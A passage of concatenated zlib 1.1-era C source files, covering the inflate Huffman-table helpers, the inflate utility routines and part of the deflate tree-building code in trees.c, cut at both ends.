    /* allocate memory */

    if ((c = (uIntf*)ZALLOC(z, 288, sizeof(uInt))) == Z_NULL)

      return Z_MEM_ERROR;

    if ((v = (uIntf*)ZALLOC(z, 288, sizeof(uInt))) == Z_NULL)

    {

      ZFREE(z, c);

      return Z_MEM_ERROR;

    }



    /* literal table */

    for (k = 0; k < 144; k++)

      c[k] = 8;

    for (; k < 256; k++)

      c[k] = 9;

    for (; k < 280; k++)

      c[k] = 7;

    for (; k < 288; k++)

      c[k] = 8;

    fixed_bl = 9;

    huft_build(c, 288, 257, cplens, cplext, &fixed_tl, &fixed_bl,

               fixed_mem, &f, v);



    /* distance table */

    for (k = 0; k < 30; k++)

      c[k] = 5;

    fixed_bd = 5;

    huft_build(c, 30, 0, cpdist, cpdext, &fixed_td, &fixed_bd,

               fixed_mem, &f, v);



    /* done */

    ZFREE(z, v);

    ZFREE(z, c);

    fixed_built = 1;

  }

#endif

  *bl = fixed_bl;

  *bd = fixed_bd;

  *tl = fixed_tl;

  *td = fixed_td;

  return Z_OK;

}









源码/Zip/inftrees.h

/* inftrees.h -- header to use inftrees.c

 * Copyright (C) 1995-2002 Mark Adler

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



/* WARNING: this file should *not* be used by applications. It is

   part of the implementation of the compression library and is

   subject to change. Applications should only use zlib.h.

 */



/* Huffman code lookup table entry--this entry is four bytes for machines

   that have 16-bit pointers (e.g. PC's in the small or medium model). */



typedef struct inflate_huft_s FAR inflate_huft;



struct inflate_huft_s {

  union {

    struct {

      Byte Exop;        /* number of extra bits or operation */

      Byte Bits;        /* number of bits in this code or subcode */

    } what;

    uInt pad;           /* pad structure to a power of 2 (4 bytes for */

  } word;               /*  16-bit, 8 bytes for 32-bit int's) */

  uInt base;            /* literal, length base, distance base,

                           or table offset */

};



/* Maximum size of dynamic tree.  The maximum found in a long but non-

   exhaustive search was 1004 huft structures (850 for length/literals

   and 154 for distances, the latter actually the result of an

   exhaustive search).  The actual maximum is not known, but the

   value below is more than safe. */

#define MANY 1440



extern int inflate_trees_bits OF((

    uIntf *,                    /* 19 code lengths */

    uIntf *,                    /* bits tree desired/actual depth */

    inflate_huft * FAR *,       /* bits tree result */

    inflate_huft *,             /* space for trees */

    z_streamp));                /* for messages */



extern int inflate_trees_dynamic OF((

    uInt,                       /* number of literal/length codes */

    uInt,                       /* number of distance codes */

    uIntf *,                    /* that many (total) code lengths */

    uIntf *,                    /* literal desired/actual bit depth */

    uIntf *,                    /* distance desired/actual bit depth */

    inflate_huft * FAR *,       /* literal/length tree result */

    inflate_huft * FAR *,       /* distance tree result */

    inflate_huft *,             /* space for trees */

    z_streamp));                /* for messages */



extern int inflate_trees_fixed OF((

    uIntf *,                    /* literal desired/actual bit depth */

    uIntf *,                    /* distance desired/actual bit depth */

    inflate_huft * FAR *,       /* literal/length tree result */

    inflate_huft * FAR *,       /* distance tree result */

    z_streamp));                /* for memory allocation */









源码/Zip/infutil.c

/* inflate_util.c -- data and routines common to blocks and codes

 * Copyright (C) 1995-2002 Mark Adler

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



#include "zutil.h"

#include "infblock.h"

#include "inftrees.h"

#include "infcodes.h"

#include "infutil.h"



struct inflate_codes_state {int dummy;}; /* for buggy compilers */



/* And'ing with mask[n] masks the lower n bits */

uInt inflate_mask[17] = {

    0x0000,

    0x0001, 0x0003, 0x0007, 0x000f, 0x001f, 0x003f, 0x007f, 0x00ff,

    0x01ff, 0x03ff, 0x07ff, 0x0fff, 0x1fff, 0x3fff, 0x7fff, 0xffff

};





/* copy as much as possible from the sliding window to the output area */

int inflate_flush(s, z, r)

inflate_blocks_statef *s;

z_streamp z;

int r;

{

  uInt n;

  Bytef *p;

  Bytef *q;



  /* local copies of source and destination pointers */

  p = z->next_out;

  q = s->read;



  /* compute number of bytes to copy as far as end of window */

  n = (uInt)((q <= s->write ? s->write : s->end) - q);

  if (n > z->avail_out) n = z->avail_out;

  if (n && r == Z_BUF_ERROR) r = Z_OK;



  /* update counters */

  z->avail_out -= n;

  z->total_out += n;



  /* update check information */

  if (s->checkfn != Z_NULL)

    z->adler = s->check = (*s->checkfn)(s->check, q, n);



  /* copy as far as end of window */

  zmemcpy(p, q, n);

  p += n;

  q += n;



  /* see if more to copy at beginning of window */

  if (q == s->end)

  {

    /* wrap pointers */

    q = s->window;

    if (s->write == s->end)

      s->write = s->window;



    /* compute bytes to copy */

    n = (uInt)(s->write - q);

    if (n > z->avail_out) n = z->avail_out;

    if (n && r == Z_BUF_ERROR) r = Z_OK;



    /* update counters */

    z->avail_out -= n;

    z->total_out += n;



    /* update check information */

    if (s->checkfn != Z_NULL)

      z->adler = s->check = (*s->checkfn)(s->check, q, n);



    /* copy */

    zmemcpy(p, q, n);

    p += n;

    q += n;

  }



  /* update pointers */

  z->next_out = p;

  s->read = q;



  /* done */

  return r;

}









源码/Zip/infutil.h

/* infutil.h -- types and macros common to blocks and codes

 * Copyright (C) 1995-2002 Mark Adler

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



/* WARNING: this file should *not* be used by applications. It is

   part of the implementation of the compression library and is

   subject to change. Applications should only use zlib.h.

 */



#ifndef _INFUTIL_H

#define _INFUTIL_H



typedef enum {

      TYPE,     /* get type bits (3, including end bit) */

      LENS,     /* get lengths for stored */

      STORED,   /* processing stored block */

      TABLE,    /* get table lengths */

      BTREE,    /* get bit lengths tree for a dynamic block */

      DTREE,    /* get length, distance trees for a dynamic block */

      CODES,    /* processing fixed or dynamic block */

      DRY,      /* output remaining window bytes */

      DONE,     /* finished last block, done */

      BAD}      /* got a data error--stuck here */

inflate_block_mode;



/* inflate blocks semi-private state */

struct inflate_blocks_state {



  /* mode */

  inflate_block_mode  mode;     /* current inflate_block mode */



  /* mode dependent information */

  union {

    uInt left;          /* if STORED, bytes left to copy */

    struct {

      uInt table;               /* table lengths (14 bits) */

      uInt index;               /* index into blens (or border) */

      uIntf *blens;             /* bit lengths of codes */

      uInt bb;                  /* bit length tree depth */

      inflate_huft *tb;         /* bit length decoding tree */

    } trees;            /* if DTREE, decoding info for trees */

    struct {

      inflate_codes_statef 

         *codes;

    } decode;           /* if CODES, current state */

  } sub;                /* submode */

  uInt last;            /* true if this block is the last block */



  /* mode independent information */

  uInt bitk;            /* bits in bit buffer */

  uLong bitb;           /* bit buffer */

  inflate_huft *hufts;  /* single malloc for tree space */

  Bytef *window;        /* sliding window */

  Bytef *end;           /* one byte after sliding window */

  Bytef *read;          /* window read pointer */

  Bytef *write;         /* window write pointer */

  check_func checkfn;   /* check function */

  uLong check;          /* check on output */



};





/* defines for inflate input/output */

/*   update pointers and return */

#define UPDBITS {s->bitb=b;s->bitk=k;}

#define UPDIN {z->avail_in=n;z->total_in+=p-z->next_in;z->next_in=p;}

#define UPDOUT {s->write=q;}

#define UPDATE {UPDBITS UPDIN UPDOUT}

#define LEAVE {UPDATE return inflate_flush(s,z,r);}

/*   get bytes and bits */

#define LOADIN {p=z->next_in;n=z->avail_in;b=s->bitb;k=s->bitk;}

#define NEEDBYTE {if(n)r=Z_OK;else LEAVE}

#define NEXTBYTE (n--,*p++)

#define NEEDBITS(j) {while(k<(j)){NEEDBYTE;b|=((uLong)NEXTBYTE)<<k;k+=8;}}

#define DUMPBITS(j) {b>>=(j);k-=(j);}

/*   output bytes */

#define WAVAIL (uInt)(q<s->read?s->read-q-1:s->end-q)

#define LOADOUT {q=s->write;m=(uInt)WAVAIL;}

#define WRAP {if(q==s->end&&s->read!=s->window){q=s->window;m=(uInt)WAVAIL;}}

#define FLUSH {UPDOUT r=inflate_flush(s,z,r); LOADOUT}

#define NEEDOUT {if(m==0){WRAP if(m==0){FLUSH WRAP if(m==0) LEAVE}}r=Z_OK;}

#define OUTBYTE(a) {*q++=(Byte)(a);m--;}

/*   load local pointers */

#define LOAD {LOADIN LOADOUT}



/* masks for lower bits (size given to avoid silly warnings with Visual C++) */

extern uInt inflate_mask[17];



/* copy as much as possible from the sliding window to the output area */

extern int inflate_flush OF((

    inflate_blocks_statef *,

    z_streamp ,

    int));



struct internal_state      {int dummy;}; /* for buggy compilers */



#endif









源码/Zip/maketree.c

/* maketree.c -- make inffixed.h table for decoding fixed codes

 * Copyright (C) 1995-2002 Mark Adler

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



/* WARNING: this file should *not* be used by applications. It is

   part of the implementation of the compression library and is

   subject to change. Applications should only use zlib.h.

 */



/* This program is included in the distribution for completeness.

   You do not need to compile or run this program since inffixed.h

   is already included in the distribution.  To use this program

   you need to compile zlib with BUILDFIXED defined and then compile

   and link this program with the zlib library.  Then the output of

   this program can be piped to inffixed.h. */



#include <stdio.h>

#include <stdlib.h>

#include "zutil.h"

#include "inftrees.h"



/* simplify the use of the inflate_huft type with some defines */

#define exop word.what.Exop

#define bits word.what.Bits



/* generate initialization table for an inflate_huft structure array */

void maketree(uInt b, inflate_huft *t)

{

  int i, e;



  i = 0;

  while (1)

  {

    e = t[i].exop;

    if (e && (e & (16+64)) == 0)        /* table pointer */

    {

      fprintf(stderr, "maketree: cannot initialize sub-tables!\n");

      exit(1);

    }

    if (i % 4 == 0)

      printf("\n   ");

    printf(" {{{%u,%u}},%u}", t[i].exop, t[i].bits, t[i].base);

    if (++i == (1<<b))

      break;

    putchar(',');

  }

  puts("");

}













源码/Zip/trees.c

/* trees.c -- output deflated data using Huffman coding

 * Copyright (C) 1995-2002 Jean-loup Gailly

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



/*

 *  ALGORITHM

 *

 *      The "deflation" process uses several Huffman trees. The more

 *      common source values are represented by shorter bit sequences.

 *

 *      Each code tree is stored in a compressed form which is itself

 * a Huffman encoding of the lengths of all the code strings (in

 * ascending order by source values).  The actual code strings are

 * reconstructed from the lengths in the inflate process, as described

 * in the deflate specification.

 *

 *  REFERENCES

 *

 *      Deutsch, L.P.,"'Deflate' Compressed Data Format Specification".

 *      Available in ftp.uu.net:/pub/archiving/zip/doc/deflate-1.1.doc

 *

 *      Storer, James A.

 *          Data Compression:  Methods and Theory, pp. 49-50.

 *          Computer Science Press, 1988.  ISBN 0-7167-8156-5.

 *

 *      Sedgewick, R.

 *          Algorithms, p290.

 *          Addison-Wesley, 1983. ISBN 0-201-06672-6.

 */



/* @(#) $Id$ */



/* #define GEN_TREES_H */



#include "deflate.h"



#ifdef DEBUG

#  include <ctype.h>

#endif



/* ===========================================================================

 * Constants

 */



#define MAX_BL_BITS 7

/* Bit length codes must not exceed MAX_BL_BITS bits */



#define END_BLOCK 256

/* end of block literal code */



#define REP_3_6      16

/* repeat previous bit length 3-6 times (2 bits of repeat count) */



#define REPZ_3_10    17

/* repeat a zero length 3-10 times  (3 bits of repeat count) */



#define REPZ_11_138  18

/* repeat a zero length 11-138 times  (7 bits of repeat count) */



local const int extra_lbits[LENGTH_CODES] /* extra bits for each length code */

   = {0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0};



local const int extra_dbits[D_CODES] /* extra bits for each distance code */

   = {0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13};



local const int extra_blbits[BL_CODES]/* extra bits for each bit length code */

   = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7};



local const uch bl_order[BL_CODES]

   = {16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15};

/* The lengths of the bit length codes are sent in order of decreasing

 * probability, to avoid transmitting the lengths for unused bit length codes.

 */



#define Buf_size (8 * 2*sizeof(char))

/* Number of bits used within bi_buf. (bi_buf might be implemented on

 * more than 16 bits on some systems.)

 */



/* ===========================================================================

 * Local data. These are initialized only once.

 */



#define DIST_CODE_LEN  512 /* see definition of array dist_code below */



#if defined(GEN_TREES_H) || !defined(STDC)

/* non ANSI compilers may not accept trees.h */



local ct_data static_ltree[L_CODES+2];

/* The static literal tree. Since the bit lengths are imposed, there is no

 * need for the L_CODES extra codes used during heap construction. However

 * The codes 286 and 287 are needed to build a canonical tree (see _tr_init

 * below).

 */



local ct_data static_dtree[D_CODES];

/* The static distance tree. (Actually a trivial tree since all codes use

 * 5 bits.)

 */



uch _dist_code[DIST_CODE_LEN];

/* Distance codes. The first 256 values correspond to the distances

 * 3 .. 258, the last 256 values correspond to the top 8 bits of

 * the 15 bit distances.

 */



uch _length_code[MAX_MATCH-MIN_MATCH+1];

/* length code for each normalized match length (0 == MIN_MATCH) */



local int base_length[LENGTH_CODES];

/* First normalized length for each code (0 = MIN_MATCH) */



local int base_dist[D_CODES];

/* First normalized distance for each code (0 = distance of 1) */



#else

#  include "trees.h"

#endif /* GEN_TREES_H */



struct static_tree_desc_s {

    const ct_data *static_tree;  /* static tree or NULL */

    const intf *extra_bits;      /* extra bits for each code or NULL */

    int     extra_base;          /* base index for extra_bits */

    int     elems;               /* max number of elements in the tree */

    int     max_length;          /* max bit length for the codes */

};



local static_tree_desc  static_l_desc =

{static_ltree, extra_lbits, LITERALS+1, L_CODES, MAX_BITS};



local static_tree_desc  static_d_desc =

{static_dtree, extra_dbits, 0,          D_CODES, MAX_BITS};



local static_tree_desc  static_bl_desc =

{(const ct_data *)0, extra_blbits, 0,   BL_CODES, MAX_BL_BITS};



/* ===========================================================================

 * Local (static) routines in this file.

 */



local void tr_static_init OF((void));

local void init_block     OF((deflate_state *s));

local void pqdownheap     OF((deflate_state *s, ct_data *tree, int k));

local void gen_bitlen     OF((deflate_state *s, tree_desc *desc));

local void gen_codes      OF((ct_data *tree, int max_code, ushf *bl_count));

local void build_tree     OF((deflate_state *s, tree_desc *desc));

local void scan_tree      OF((deflate_state *s, ct_data *tree, int max_code));

local void send_tree      OF((deflate_state *s, ct_data *tree, int max_code));

local int  build_bl_tree  OF((deflate_state *s));

local void send_all_trees OF((deflate_state *s, int lcodes, int dcodes,

                              int blcodes));

local void compress_block OF((deflate_state *s, ct_data *ltree,

                              ct_data *dtree));

local void set_data_type  OF((deflate_state *s));

local unsigned bi_reverse OF((unsigned value, int length));

local void bi_windup      OF((deflate_state *s));

local void bi_flush       OF((deflate_state *s));

local void copy_block     OF((deflate_state *s, charf *buf, unsigned len,

                              int header));



#ifdef GEN_TREES_H

local void gen_trees_header OF((void));

#endif



#ifndef DEBUG

#  define send_code(s, c, tree) send_bits(s, tree[c].Code, tree[c].Len)

   /* Send a code of the given tree. c and tree must not have side effects */



#else /* DEBUG */

#  define send_code(s, c, tree) \

     { if (z_verbose>2) fprintf(stderr,"\ncd %3d ",(c)); \

       send_bits(s, tree[c].Code, tree[c].Len); }

#endif



/* ===========================================================================

 * Output a short LSB first on the stream.

 * IN assertion: there is enough room in pendingBuf.

 */

#define put_short(s, w) { \

    put_byte(s, (uch)((w) & 0xff)); \

    put_byte(s, (uch)((ush)(w) >> 8)); \

}



/* ===========================================================================

 * Send a value on a given number of bits.

 * IN assertion: length <= 16 and value fits in length bits.

 */

#ifdef DEBUG

local void send_bits      OF((deflate_state *s, int value, int length));



local void send_bits(s, value, length)

    deflate_state *s;

    int value;  /* value to send */

    int length; /* number of bits */

{

    Tracevv((stderr," l %2d v %4x ", length, value));

    Assert(length > 0 && length <= 15, "invalid length");

    s->bits_sent += (ulg)length;



    /* If not enough room in bi_buf, use (valid) bits from bi_buf and

     * (16 - bi_valid) bits from value, leaving (width - (16-bi_valid))

     * unused bits in value.

     */

    if (s->bi_valid > (int)Buf_size - length) {

        s->bi_buf |= (value << s->bi_valid);

        put_short(s, s->bi_buf);

        s->bi_buf = (ush)value >> (Buf_size - s->bi_valid);

        s->bi_valid += length - Buf_size;

    } else {

        s->bi_buf |= value << s->bi_valid;

        s->bi_valid += length;

    }

}

#else /* !DEBUG */



#define send_bits(s, value, length) \

{ int len = length;\

  if (s->bi_valid > (int)Buf_size - len) {\

    int val = value;\

    s->bi_buf |= (val << s->bi_valid);\

    put_short(s, s->bi_buf);\

    s->bi_buf = (ush)val >> (Buf_size - s->bi_valid);\

    s->bi_valid += len - Buf_size;\

  } else {\

    s->bi_buf |= (value) << s->bi_valid;\

    s->bi_valid += len;\

  }\

}

#endif /* DEBUG */





#define MAX(a,b) (a >= b ? a : b)

/* the arguments must not have side effects */



/* ===========================================================================

 * Initialize the various 'constant' tables.

 */

local void tr_static_init()

{

#if defined(GEN_TREES_H) || !defined(STDC)

    static int static_init_done = 0;

    int n;        /* iterates over tree elements */

    int bits;     /* bit counter */

    int length;   /* length value */

    int code;     /* code value */

    int dist;     /* distance index */

    ush bl_count[MAX_BITS+1];

    /* number of codes at each bit length for an optimal tree */



    if (static_init_done) return;



    /* For some embedded targets, global variables are not initialized: */

    static_l_desc.static_tree = static_ltree;

    static_l_desc.extra_bits = extra_lbits;

    static_d_desc.static_tree = static_dtree;

    static_d_desc.extra_bits = extra_dbits;

    static_bl_desc.extra_bits = extra_blbits;



    /* Initialize the mapping length (0..255) -> length code (0..28) */

    length = 0;

    for (code = 0; code < LENGTH_CODES-1; code++) {

        base_length[code] = length;

        for (n = 0; n < (1<<extra_lbits[code]); n++) {

            _length_code[length++] = (uch)code;

        }

    }

    Assert (length == 256, "tr_static_init: length != 256");

    /* Note that the length 255 (match length 258) can be represented

     * in two different ways: code 284 + 5 bits or code 285, so we

     * overwrite length_code[255] to use the best encoding:

     */

    _length_code[length-1] = (uch)code;



    /* Initialize the mapping dist (0..32K) -> dist code (0..29) */

    dist = 0;

    for (code = 0 ; code < 16; code++) {

        base_dist[code] = dist;

        for (n = 0; n < (1<<extra_dbits[code]); n++) {

            _dist_code[dist++] = (uch)code;

        }

    }

    Assert (dist == 256, "tr_static_init: dist != 256");

    dist >>= 7; /* from now on, all distances are divided by 128 */

    for ( ; code < D_CODES; code++) {

        base_dist[code] = dist << 7;

        for (n = 0; n < (1<<(extra_dbits[code]-7)); n++) {

            _dist_code[256 + dist++] = (uch)code;

        }

    }

    Assert (dist == 256, "tr_static_init: 256+dist != 512");



    /* Construct the codes of the static literal tree */

    for (bits = 0; bits <= MAX_BITS; bits++) bl_count[bits] = 0;

    n = 0;

    while (n <= 143) static_ltree[n++].Len = 8, bl_count[8]++;

    while (n <= 255) static_ltree[n++].Len = 9, bl_count[9]++;

    while (n <= 279) static_ltree[n++].Len = 7, bl_count[7]++;

    while (n <= 287) static_ltree[n++].Len = 8, bl_count[8]++;

    /* Codes 286 and 287 do not exist, but we must include them in the

     * tree construction to get a canonical Huffman tree (longest code

     * all ones)

     */

    gen_codes((ct_data *)static_ltree, L_CODES+1, bl_count);



    /* The static distance tree is trivial: */

    for (n = 0; n < D_CODES; n++) {

        static_dtree[n].Len = 5;

        static_dtree[n].Code = bi_reverse((unsigned)n, 5);

    }

    static_init_done = 1;



#  ifdef GEN_TREES_H

    gen_trees_header();

#  endif

#endif /* defined(GEN_TREES_H) || !defined(STDC) */

}



/* ===========================================================================

 * Genererate the file trees.h describing the static trees.

 */

#ifdef GEN_TREES_H

#  ifndef DEBUG

#    include <stdio.h>

#  endif



#  define SEPARATOR(i, last, width) \

      ((i) == (last)? "\n};\n\n" :    \

       ((i) % (width) == (width)-1 ? ",\n" : ", "))



void gen_trees_header()

{

    FILE *header = fopen("trees.h", "w");

    int i;



    Assert (header != NULL, "Can't open trees.h");

    fprintf(header,

	    "/* header created automatically with -DGEN_TREES_H */\n\n");



    fprintf(header, "local const ct_data static_ltree[L_CODES+2] = {\n");

    for (i = 0; i < L_CODES+2; i++) {

	fprintf(header, "{{%3u},{%3u}}%s", static_ltree[i].Code,

		static_ltree[i].Len, SEPARATOR(i, L_CODES+1, 5));

    }



    fprintf(header, "local const ct_data static_dtree[D_CODES] = {\n");

    for (i = 0; i < D_CODES; i++) {

	fprintf(header, "{{%2u},{%2u}}%s", static_dtree[i].Code,

		static_dtree[i].Len, SEPARATOR(i, D_CODES-1, 5));

    }



    fprintf(header, "const uch _dist_code[DIST_CODE_LEN] = {\n");

    for (i = 0; i < DIST_CODE_LEN; i++) {

	fprintf(header, "%2u%s", _dist_code[i],

		SEPARATOR(i, DIST_CODE_LEN-1, 20));

    }



    fprintf(header, "const uch _length_code[MAX_MATCH-MIN_MATCH+1]= {\n");

    for (i = 0; i < MAX_MATCH-MIN_MATCH+1; i++) {

	fprintf(header, "%2u%s", _length_code[i],

		SEPARATOR(i, MAX_MATCH-MIN_MATCH, 20));

    }



    fprintf(header, "local const int base_length[LENGTH_CODES] = {\n");

    for (i = 0; i < LENGTH_CODES; i++) {

	fprintf(header, "%1u%s", base_length[i],

		SEPARATOR(i, LENGTH_CODES-1, 20));

    }



    fprintf(header, "local const int base_dist[D_CODES] = {\n");

    for (i = 0; i < D_CODES; i++) {

	fprintf(header, "%5u%s", base_dist[i],

		SEPARATOR(i, D_CODES-1, 10));

    }



    fclose(header);

}

#endif /* GEN_TREES_H */



/* ===========================================================================

 * Initialize the tree data structures for a new zlib stream.

 */

void _tr_init(s)

    deflate_state *s;

{

    tr_static_init();



    s->l_desc.dyn_tree = s->dyn_ltree;

    s->l_desc.stat_desc = &static_l_desc;



    s->d_desc.dyn_tree = s->dyn_dtree;

    s->d_desc.stat_desc = &static_d_desc;



    s->bl_desc.dyn_tree = s->bl_tree;

    s->bl_desc.stat_desc = &static_bl_desc;



    s->bi_buf = 0;

    s->bi_valid = 0;

    s->last_eob_len = 8; /* enough lookahead for inflate */

#ifdef DEBUG

    s->compressed_len = 0L;

    s->bits_sent = 0L;

#endif



    /* Initialize the first block of the first file: */

    init_block(s);

}



/* ===========================================================================

 * Initialize a new block.

 */

local void init_block(s)

    deflate_state *s;

{

    int n; /* iterates over tree elements */



    /* Initialize the trees. */

    for (n = 0; n < L_CODES;  n++) s->dyn_ltree[n].Freq = 0;

    for (n = 0; n < D_CODES;  n++) s->dyn_dtree[n].Freq = 0;

    for (n = 0; n < BL_CODES; n++) s->bl_tree[n].Freq = 0;



    s->dyn_ltree[END_BLOCK].Freq = 1;

    s->opt_len = s->static_len = 0L;

    s->last_lit = s->matches = 0;

}



#define SMALLEST 1

/* Index within the heap array of least frequent node in the Huffman tree */





/* ===========================================================================

 * Remove the smallest element from the heap and recreate the heap with

 * one less element. Updates heap and heap_len.

 */

#define pqremove(s, tree, top) \

{\

    top = s->heap[SMALLEST]; \

    s->heap[SMALLEST] = s->heap[s->heap_len--]; \

    pqdownheap(s, tree, SMALLEST); \

}



/* ===========================================================================

 * Compares to subtrees, using the tree depth as tie breaker when

 * the subtrees have equal frequency. This minimizes the worst case length.

 */

#define smaller(tree, n, m, depth) \

   (tree[n].Freq < tree[m].Freq || \

   (tree[n].Freq == tree[m].Freq && depth[n] <= depth[m]))



/* ===========================================================================

 * Restore the heap property by moving down the tree starting at node k,

 * exchanging a node with the smallest of its two sons if necessary, stopping

 * when the heap property is re-established (each father smaller than its

 * two sons).

 */

local void pqdownheap(s, tree, k)

    deflate_state *s;

    ct_data *tree;  /* the tree to restore */

    int k;               /* node to move down */

{

    int v = s->heap[k];

    int j = k << 1;  /* left son of k */

    while (j <= s->heap_len) {

        /* Set j to the smallest of the two sons: */

        if (j < s->heap_len &&

            smaller(tree, s->heap[j+1], s->heap[j], s->depth)) {

            j++;

        }

        /* Exit if v is smaller than both sons */

        if (smaller(tree, v, s->heap[j], s->depth)) break;



        /* Exchange v with the smallest son */

        s->heap[k] = s->heap[j];  k = j;



        /* And continue down the tree, setting j to the left son of k */

        j <<= 1;

    }

    s->heap[k] = v;

}



/* ===========================================================================

 * Compute the optimal bit lengths for a tree and update the total bit length

 * for the current block.

 * IN assertion: the fields freq and dad are set, heap[heap_max] and

 *    above are the tree nodes sorted by increasing frequency.

 * OUT assertions: the field len is set to the optimal bit length, the

 *     array bl_count contains the frequencies for each bit length.

 *     The length opt_len is updated; static_len is also updated if stree is

 *     not null.

 */

local void gen_bitlen(s, desc)

    deflate_state *s;

    tree_desc *desc;    /* the tree descriptor */

{

    ct_data *tree        = desc->dyn_tree;

    int max_code         = desc->max_code;

    const ct_data *stree = desc->stat_desc->static_tree;

    const intf *extra    = desc->stat_desc->extra_bits;

    int base             = desc->stat_desc->extra_base;

    int max_length       = desc->stat_desc->max_length;

    int h;              /* heap index */

    int n, m;           /* iterate over the tree elements */

    int bits;           /* bit length */

    int xbits;          /* extra bits */

    ush f;              /* frequency */

    int overflow = 0;   /* number of elements with bit length too large */



    for (bits = 0; bits <= MAX_BITS; bits++) s->bl_count[bits] = 0;



    /* In a first pass, compute the optimal bit lengths (which may

     * overflow in the case of the bit length tree).

     */

    tree[s->heap[s->heap_max]].Len = 0; /* root of the heap */



    for (h = s->heap_max+1; h < HEAP_SIZE; h++) {

        n = s->heap[h];

        bits = tree[tree[n].Dad].Len + 1;

        if (bits > max_length) bits = max_length, overflow++;

        tree[n].Len = (ush)bits;

        /* We overwrite tree[n].Dad which is no longer needed */



        if (n > max_code) continue; /* not a leaf node */



        s->bl_count[bits]++;

        xbits = 0;

        if (n >= base) xbits = extra[n-base];

        f = tree[n].Freq;

        s->opt_len += (ulg)f * (bits + xbits);

        if (stree) s->static_len += (ulg)f * (stree[n].Len + xbits);

    }

    if (overflow == 0) return;



    Trace((stderr,"\nbit length overflow\n"));

    /* This happens for example on obj2 and pic of the Calgary corpus */



    /* Find the first bit length which could increase: */

    do {

        bits = max_length-1;

        while (s->bl_count[bits] == 0) bits--;

        s->bl_count[bits]--;      /* move one leaf down the tree */

        s->bl_count[bits+1] += 2; /* move one overflow item as its brother */

        s->bl_count[max_length]--;

        /* The brother of the overflow item also moves one step up,

         * but this does not affect bl_count[max_length]

         */

        overflow -= 2;

    } while (overflow > 0);



    /* Now recompute all bit lengths, scanning in increasing frequency.

     * h is still equal to HEAP_SIZE. (It is simpler to reconstruct all

     * lengths instead of fixing only the wrong ones. This idea is taken

     * from 'ar' written by Haruhiko Okumura.)

     */

    for (bits = max_length; bits != 0; bits--) {

        n = s->bl_count[bits];

        while (n != 0) {

            m = s->heap[--h];

            if (m > max_code) continue;

            if (tree[m].Len != (unsigned) bits) {

                Trace((stderr,"code %d bits %d->%d\n", m, tree[m].Len, bits));

                s->opt_len += ((long)bits - (long)tree[m].Len)

                              *(long)tree[m].Freq;

                tree[m].Len = (ush)bits;

            }

            n--;

        }

    }

}



/* ===========================================================================

 * Generate the codes for a given tree and bit counts (which need not be

 * optimal).

 * IN assertion: the array bl_count contains the bit length statistics for

 * the given tree and the field len is set for all tree elements.

 * OUT assertion: the field code is set for all tree elements of non

 *     zero code length.

 */

local void gen_codes (tree, max_code, bl_count)

    ct_data *tree;             /* the tree to decorate */

    int max_code;              /* largest code with non zero frequency */

    ushf *bl_count;            /* number of codes at each bit length */

{

    ush next_code[MAX_BITS+1]; /* next code value for each bit length */

    ush code = 0;              /* running code value */

    int bits;                  /* bit index */

    int n;                     /* code index */



    /* The distribution counts are first used to generate the code values

     * without bit reversal.

     */

    for (bits = 1; bits <= MAX_BITS; bits++) {

        next_code[bits] = code = (code + bl_count[bits-1]) << 1;

    }

    /* Check that the bit counts in bl_count are consistent. The last code

     * must be all ones.

     */

    Assert (code + bl_count[MAX_BITS]-1 == (1<<MAX_BITS)-1,

            "inconsistent bit counts");

    Tracev((stderr,"\ngen_codes: max_code %d ", max_code));



    for (n = 0;  n <= max_code; n++) {

        int len = tree[n].Len;

        if (len == 0) continue;

        /* Now reverse the bits */

        tree[n].Code = bi_reverse(next_code[len]++, len);



        Tracecv(tree != static_ltree, (stderr,"\nn %3d %c l %2d c %4x (%x) ",

             n, (isgraph(n) ? n : ' '), len, tree[n].Code, next_code[len]-1));

    }

}



/* ===========================================================================

 * Construct one Huffman tree and assigns the code bit strings and lengths.

 * Update the total bit length for the current block.

 * IN assertion: the field freq is set for all tree elements.

 * OUT assertions: the fields len and code are set to the optimal bit length

 *     and corresponding code. The length opt_len is updated; static_len is

 *     also updated if stree is not null. The field max_code is set.

 */

local void build_tree(s, desc)

    deflate_state *s;

    tree_desc *desc; /* the tree descriptor */

{

    ct_data *tree         = desc->dyn_tree;

    const ct_data *stree  = desc->stat_desc->static_tree;

    int elems             = desc->stat_desc->elems;

    int n, m;          /* iterate over heap elements */

    int max_code = -1; /* largest code with non zero frequency */

    int node;          /* new node being created */



    /* Construct the initial heap, with least frequent element in

     * heap[SMALLEST]. The sons of heap[n] are heap[2*n] and heap[2*n+1].

     * heap[0] is not used.

     */

    s->heap_len = 0, s->heap_max = HEAP_SIZE;



    for (n = 0; n < elems; n++) {

        if (tree[n].Freq != 0) {

            s->heap[++(s->heap_len)] = max_code = n;

            s->depth[n] = 0;

        } else {

            tree[n].Len = 0;

        }

    }



    /* The pkzip format requires that at least one distance code exists,

     * and that at least one bit should be sent even if there is only one

     * possible code. So to avoid special checks later on we force at least

     * two codes of non zero frequency.

     */

    while (s->heap_len < 2) {

        node = s->heap[++(s->heap_len)] = (max_code < 2 ? ++max_code : 0);

        tree[node].Freq = 1;

        s->depth[node] = 0;

        s->opt_len--; if (stree) s->static_len -= stree[node].Len;

        /* node is 0 or 1 so it does not have extra bits */

    }

    desc->max_code = max_code;



    /* The elements heap[heap_len/2+1 .. heap_len] are leaves of the tree,

     * establish sub-heaps of increasing lengths:

     */

    for (n = s->heap_len/2; n >= 1; n--) pqdownheap(s, tree, n);



    /* Construct the Huffman tree by repeatedly combining the least two

     * frequent nodes.

     */

    node = elems;              /* next internal node of the tree */

    do {

        pqremove(s, tree, n);  /* n = node of least frequency */

        m = s->heap[SMALLEST]; /* m = node of next least frequency */



        s->heap[--(s->heap_max)] = n; /* keep the nodes sorted by frequency */

        s->heap[--(s->heap_max)] = m;



        /* Create a new node father of n and m */

        tree[node].Freq = tree[n].Freq + tree[m].Freq;

        s->depth[node] = (uch) (MAX(s->depth[n], s->depth[m]) + 1);

